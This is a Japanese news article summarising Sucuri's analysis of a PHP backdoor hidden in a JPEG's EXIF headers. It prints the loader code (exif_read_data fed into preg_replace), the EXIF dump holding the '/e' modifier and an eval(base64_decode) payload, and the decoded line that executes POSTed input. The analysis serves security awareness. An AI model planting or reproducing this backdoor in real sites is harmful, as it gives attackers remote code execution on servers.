JPEG画像のEXIFヘッダにマルウェアを隠して実行させる新しい手口が登場
JPEG画像のEXIFヘッダに隠された仕掛けられたマルウェアを、Sucuri Research Labの調査チームが発見しました。このマルウェアはPHPの機能を用いてEXIFヘッダを読み込ませ、自らを実行させるようになっていました。
Malware Hidden Inside JPG EXIF Headers | Sucuri Blog
http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html
Sucuri Research Labのチームは攻撃サイト認定されたサイトでこのマルウェアを発見しました。通常、バックドアはBASE64変換やgzip圧縮で身を隠しますが、このマルウェアはJPEG画像のEXIFヘッダに隠されていて、PHPの機能を用いて実行されるようになっています。
まず、サイト内で見つかったコードがコレ、バックドアの第1のパーツとなる部分です。
<br />
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');<br />
preg_replace($exif['Make'],$exif['Model'],'');<br />
デジタルカメラやスマートフォン、携帯電話で写真を撮ると、撮影日時や撮影時のカメラの設定などの情報が写真に記録されます。これがEXIF情報(EXIFデータ)と呼ばれるもので、上記コード中に出てくる「exif_read_data」というのはJPEG画像やTIFF画像に含まれているEXIF情報を読み込むためのもの。
2行目にある「preg_replace」というのは正規表現検索と置換を行う機能。
いずれの機能も単独であれば無害なものですが、「preg_replace」には「/e」という修飾子をつけたとき、検索・置換の代わりにコンテンツを実行することができるオプションがあります。
続いて、調査チームは「bun.jpg」のEXIFデータ内にバックドアの第2のパーツを見つけました。それがコレ。
<br />
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@<br />
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^<br />
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd<br />
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));<br />
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^<br />
ファイルというのは通常、同じ種類のものであれば共通のヘッダで始まるもので、1行目の最初の方にある「JFIF」はこのファイルがJPEG画像(JFIF形式のファイル)であることを示しています。
この先を見ていくとEXIF情報が格納されているわけですが、bun.jpgの場合、「Make(メーカー名)」部分には「"/.*/e".」というワードが含まれていました。このワードは上述の「preg_replace」で、渡されたものをすべて実行するための修飾子として用いられるもの。さらに見ていくと、「Model(機種名)」部分には「"eval ( base64_decode"」というのが隠れているのが見つかりました。攻撃者はこの2つの項目と「preg_replace」を利用し、バックドアを作っていたというわけです。
サイト内にあったバックドアの第1のパーツに、コードが実行されることでJPEG画像から第2のパーツが読み込まれて、最終的に生み出されるのが以下のコード。
<br />
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");<br />
そして、これをデコードした結果がコレ。変数zz1としてPOSTされた内容をいかなるものでも実行するという内容だった、というわけ。
<br />
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..<br />
Sucuri Researchではこれを「電子透かしマルウェア」と呼び、上記のコードで使われていたbun.jpgにしてもその他のイメージにしても、攻撃サイトとして認定されたサイト上にあるイメージはちゃんと読み込みが可能になっているところが面白いとコメント。こういったものであっても、自社が提供しているServer Side Scanningであれば検出可能だとアピールしています。
・関連記事
ポルノサイト閲覧は本当にマルウェアに感染する危険性が高いのか? - GIGAZINE
無料で写真のExif情報の撮影日時を変更できる「EXIF Date Changer」 - GIGAZINE
マルチコア対応で画像リサイズ・フォーマット変換などの一括高速処理が可能なフリーソフト「Ralpha」 - GIGAZINE
・関連コンテンツ